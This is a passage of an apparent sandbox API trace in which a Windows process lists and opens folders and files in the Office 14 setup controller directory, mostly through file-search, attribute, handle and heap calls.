ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0053.876] GetLastError () returned 0x12 [0053.876] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97710) returned 1 [0053.876] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0053.876] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97608) returned 1 [0053.876] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0053.876] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0053.876] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1 [0053.876] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.en-us", cAlternateFileName="")) returned 1 [0053.876] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0053.876] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0055.105] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0055.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0055.105] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0055.105] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0055.105] NtClose (Handle=0x18c) returned 0x0 [0055.105] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0055.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0055.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0055.105] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97608 [0055.105] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0055.105] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.105] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="")) returned 1 [0055.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.105] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.106] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.106] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.106] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97710 [0055.106] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0055.106] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95ee0 [0055.106] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf994e0 [0055.106] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.106] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0055.106] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.106] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.106] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.106] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.106] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.106] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95f00 [0055.106] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf995e8 [0055.106] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.106] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0055.106] GetLastError () returned 0x12 [0055.106] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0055.106] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0055.106] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.106] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="")) returned 1 [0055.106] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0055.106] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0055.106] GetLastError () returned 0x12 [0055.106] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97608) returned 1 [0055.107] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0055.107] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97710) returned 1 [0055.107] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0055.107] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0055.107] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0055.107] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="")) returned 1 [0055.107] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint.en-us", cAlternateFileName="")) returned 1 [0055.107] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0055.107] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.166] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0055.166] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0055.167] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0055.167] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0055.167] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0055.167] NtClose (Handle=0x188) returned 0x0 [0055.167] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0055.167] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.167] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0055.167] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0055.167] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.167] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97710 [0055.167] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0055.167] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.167] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="")) returned 1 [0055.167] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.167] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.167] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.167] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.167] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.167] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97608 [0055.167] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0055.167] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95f20 [0055.167] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf996f0 [0055.167] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.168] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0055.168] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.168] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.168] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.168] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.168] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.168] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95f40 [0055.168] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf997f8 [0055.168] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.168] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0055.168] GetLastError () returned 0x12 [0055.168] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0055.168] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0055.168] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.168] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="")) returned 1 [0055.168] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0055.168] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0055.168] GetLastError () returned 0x12 [0055.168] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97710) returned 1 [0055.168] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0055.168] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97608) returned 1 [0055.168] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0055.168] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJPROR", cAlternateFileName="")) returned 1 [0055.168] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0055.168] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0055.213] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0055.213] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0055.214] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0055.214] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, 